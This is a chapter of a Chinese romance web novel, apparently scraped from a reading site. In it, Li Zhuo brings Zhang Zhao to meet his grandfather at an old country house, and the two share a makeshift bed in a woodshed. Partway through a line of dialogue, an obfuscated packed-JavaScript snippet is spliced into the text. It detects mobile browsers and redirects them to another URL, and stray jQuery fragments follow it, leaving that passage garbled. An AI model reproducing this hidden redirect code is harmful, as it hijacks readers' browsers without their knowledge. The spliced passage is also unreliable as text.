123读书网 > 都市小说 > 点酥娘 > 23. 第 23 章 不切实际
    暑气一过,便是立秋。


    傍晚时分,野外渐渐凉了下来。


    天一点点暗了,晚霞不见,倒是远处的树林连成一片青黛,偶尔几只鸟飞去。


    西风乍起,卷起一地落叶,沙沙作响。


    田埂间的野草被风吹得猛烈摇摆,空气里混合着泥土、枯草的的干燥气味。


    李琢坐在车厢左前,手里拿了支随地捡的竹条。


    他抬头看了眼长天,又嗅到那股子难闻的湿腥气。


    手中竹条一挥,他自言自语般说了句话。


    “要下雨了。”


    下一刻,车帘被人掀。


    张昭走了出来,却又因马车突然加速,重心不稳,身子朝前甩去。


    眼瞧着要摔下马车,李琢拉了她一把,顺势将她丢回车厢里边。


    里面传来“哎呦”一声。


    仗着这是野外人烟稀少,没谁看得见。


    李琢心情甚好地笑了下。


    他垂下头,看了眼自己拉住张昭的那只手。


    心想,是不是用力大了些?


    其实还好,自从入了秋,车厢里边就铺了毛绒软垫,张昭没摔疼。


    只是这山路十八弯的,抖得她都有些晕车想吐了。


    这回谨慎许多,张昭小心翼翼地挪出车厢,到李琢身边坐下。


    她问:“我们这是要去哪儿?”


    “不是说了?上山,寻宝。”


    李琢的声音透露着笑意与松弛,这是身在京城,不会有的。


    “你就不能直说?”张昭看向他。


    “你告诉我去哪儿,我又不会跑,除非……你要将我卖了?”


    “卖你能值几个钱?”


    “……”


    张昭有点憋闷。


    李琢瞧她没继续问,心想也许是不开心了,便再度出声,安慰一般说道。


    “快到了,别哭了。”


    “谁哭了……”张昭十分无语。


    马车穿出树林,又走了崎岖的几里路,车轮碾过大小不一的石子,无比颠簸。


    又过了一阵,在一处斜坡的岔路口,李琢牵着缰绳,放缓了速度。


    下了斜坡几步,马车拐了半个弯,朝右前方的平地驶去,最终在一栋老瓦房门前停下。


    李琢跳下车:“到了。”


    “这是……你家?”


    确切的说,是李琢乡下的家。


    张昭也慢慢跳了下来。


    她抬眼望去,只觉瓦房的年岁一定非常老了。


    瓦房由几层厚重石板垫高,台阶上爬着薄薄一层尘土,石缝里,生有翠绿的青苔。


    木板墙壁经历许久风吹日晒,早已变得斑驳。


    小窗上糊的纸破了几处大洞,微弱的烛火光溜出,照亮一小块天地。


    院角一矮小房子,旁边垒了有半墙的干柴,又围着木桩搭了一个鸡窝,篱笆上爬满暗绿色的藤蔓。


    瓦房正前方有一片参天竹林,被岁月滋养得枝繁叶茂,郁郁葱葱。


    可是在昏暗的夜色中,又透露着一丝丝恐怖。


    李琢去放马。


    张昭来到一处陌生的地方,心里头局促又害怕,跟紧在他身后。


    就在这时,屋子里传来一道老人声。


    “老二回来了?”


    张昭扭头望去,手里攥紧了李琢的衣服。


    李琢被人抓在手里,走也不是、退也不是,好笑又无奈地叹了声气。


    “爷爷,我回来了。”


    老木门被人从里边打开,发出吱呀一声,刺得张昭心底发秫。


    下一刻,一个衣衫朴素的老人慢吞吞走出。


    老人岁数大了,脸上已经堆满了皱纹,却仍见慈祥神色,头发半白半黑,枯如稻草。


    “怎么这个时候了才到?我看隔壁徐家的娃子早回来了。”


    年纪大,但声音倒是响亮有力。


    老人身子佝偻,背着手站在门边。


    李琢一边系着缰绳,一边回答。


    “给你买东西去了,耽搁了会儿。”


    老人眯着眼,模糊视线中瞧见一个女人。


    “这个是?”


    李琢动作没停,头也不回。


    “你孙媳妇。”


    “……”


    “孙媳妇?”老人顿时瞪大了眼,声音惊喜。


    “我来瞧瞧。”


    张昭十分尴尬,凑到李琢耳边咬牙道:“你怎么不早点跟我说要来见你爷爷?”


    通过祖孙二人简单的对话,她能判断出这个爷爷应该是李家中为数不多的好人了。


    标准是,对李琢有真正的关心


    李琢从马车中拿出在知味小铺买的点心,还有一些其他补品。


    “你早说要来这儿,我就再买些了。”张昭从他手中夺过,没好气地埋怨。


    李琢心想,哪怕是得三更半夜才到了。


    转眼间,李光军已经到了身前。


    张昭回过头时吓了一跳,心想:这人刚刚走那么慢是装的吧?


    “爷爷好,我是张昭。”


    李光军笑得高兴,连连点头:“哎不错不错,长得水灵,跟李琢看着就搭对。”


    “坐这么久的车,累了吧?快进来,饭菜我早就做好了,就等你们回来吃。”


    两人跟着他进到屋子里,李琢去放东西了。


    回来时,只见张昭已被老人强硬地送去一碗大米饭端着,一脸紧张与无奈。


    李琢挑了下眉,自顾自地走到桌边坐下,拿起筷子吃菜。


    “爷爷,够了够了。”


    “你自己吃,不用管我……”


    张昭看着碗里上垒得像座小山一样的饭菜,欲哭无泪。


    李光军太过热情,她招架不住。


    “爷爷,你别夹了,她吃不了那么多。”


    李琢出声劝道,又夹了一筷子菜送到老人碗中。


    张昭一听,十分赞成,点头如捣蒜。


    “好好好,都吃。”


    李光军笑着刨了口饭。


    夹菜风波终于结束。


    张昭松了口气,向李琢投去感激的目光,然后才小口小口吃起来。


    饭后,李琢在土灶旁边洗碗。


    另外两人就坐在灶火前,有一搭没一搭地聊天。


    不过主要是李光军问,张昭答。


    聊的时间不久,一阵之后,天色彻底黑了,屋外风声鹤唳,瓢泼大雨说下就下。李光军打着哈欠,洗洗睡觉去了。


    秋夜凉爽,雨声滴答,张昭还是坐在火前,将一双手靠近那道火堆取暖。


    李琢倒了水回来,手里拿了张帕子,在擦灶台。


    那身靛蓝锦服的袖子,被他高高折起,怕沾水弄脏。


    窄而有劲的腰上系了一条破旧的粗布围裙,看起来滑稽又别扭。


    高马尾被玉冠束起,垂在脑后,偶尔几缕碎发跑到身前,被他拿手肘甩开。


    真是好一幅美男干活图!


    张昭没忍住,笑出了声。


    李琢闻声抬眼,他明明猜得出张昭在笑什么,却还是故意问道。


    “笑什么?”


    “你这个样子太好笑了。”


    男人没说话,依旧吭哧吭哧地擦着灶台。


    夜风从破窗里吹进,雨丝也被打了进来。这时已经很晚了,整座乡村都沉睡着,陷入一种宁静的状态。


    这小小四方食地,却并不平常。


    “李琢。”


    像是想到了什么,张昭叫了他一声。


    “嗯?”


    张昭调侃:“你这算不算‘上得厅堂、下得厨房’?”


    李琢心中被她逗笑,面上云淡风轻。


    “也许呢。”


    张昭啧啧两声,又道:“要是被荣安那个臭丫头看见你这样子,怕是更着迷了。”


    “为什么?”


    “你傻呀


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253161|196980||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    !又会挣钱、又会干活,还长得好看,这样的的男人京城可不多。”


    张昭掰着手指在那儿数。


    李琢手上动作没停,却突然道:“那你岂不是赚了?”


    “……”


    房间陷入安静。


    半响,张昭耸耸肩,故意学着男人的话,说:“也许呢。”


    ……


    两人洗漱之后,李琢灭了灯,将女人带到灶房旁边的一间小屋子。


    推门时,扬起的一地灰尘,呛得张昭咳嗽几声,连忙捂着嘴,拿手挥走尘土。


    烛火点燃,将房间照亮。


    张昭大吃一惊,渐渐松下了手。


    与其说这是间卧室,不如说这是个柴房。


    房屋里一半的空间都用来了堆柴,而干柴边,一个木柜一张床,就这样简单。


    那张床……


    与其说是床,不如说是几块木头叠起来的平板,上边搭两床棉被。


    床铺应该是被李光军前不久刚换过,朴素但整洁。


    张昭依然愣在原地,目瞪口呆。


    她不可置信地问:“就睡这儿?”


    李琢解腰带的手一顿,片刻后继续。


    “你想睡哪儿?”


    他正准备说就这个条件,将就将就,又听女人说道。


    “我刚刚看那边不是有几个好床吗,为什么不睡那里?”


    “……”


    这个“柴房”破破烂烂的,还脏,因隔壁就是灶房,所以空气中弥漫着尘土与烟柴混合的味道,很难闻。


    张昭很不满意,甚至可以说十分嫌弃。


    她刚刚在这个瓦房里边逛过,在灶房的另一边,有两间干净的、温馨的房屋。


    虽跟京城里头比不了,但至少比这里强个百倍千倍。


    为什么放着好的不睡,要来这里睡柴房?


    她没等到回答,又弱弱地问了一声。


    “为什么呀?”


    李琢将腰带随意地搭上肩头,他的腰抵在柜子边上,双手撑在后边,就这样懒懒地靠着。


    他望向张昭的眼神,是平静的。


    “那是我爹娘跟我大哥的房间,你想去,也可以。”


    “……”


    屋子里静了片刻,之后,张昭果断摇头。


    “不想去。”


    “我就要跟你在一起。”


    张昭没有察觉自己说的话有哪里奇怪,她只是在想——


    李琢会不会生气了?


    李琢不动声色地走近,一把抓起她的手,将她丢到床上。


    接触到张昭的一刹那,那张破烂的床似乎抖了抖。


    心脏好像跟着床一起剧烈地跳个不停,张昭不敢说话,也不知道该说什么。


    紧张、刺激,又带有点害怕的情绪将她整个人包裹。


    她终于反应过来自己说了什么,脸登时一红。


    难道李琢是想……


    不好吧?


    不等她继续多想,半床被子蒙上她的脑袋。


    阳光独特的清新气味钻进她的鼻中。


    下一刻,李琢的声音响起。


    “不想去就睡。”


    她分不清那股子沉闷是因为隔了床被子听不清,还是李琢自己的原因。


    张昭懒得纠结,翻身起来,大大咧咧地将鞋踢到一边。


    然后盖着被子跑到靠墙那边躺下。


    那副随性洒脱的样子落入李琢眼中,将他心海搅乱。


    李琢一边去捡女人的鞋子放好,另一边心里又默默思绪万千。


    要是半年多以前,有人告诉他——


    有一个漂亮姑娘,会在你那张破床上又蹦又跳,愿意和你一起睡柴房。


    不必多想,李琢一定会当那人又是在讥讽自己。


    可眼下,的确是这样的。


    这样不切实际的事情,他从来没想过,但这个人确实出现了。


    她叫张昭。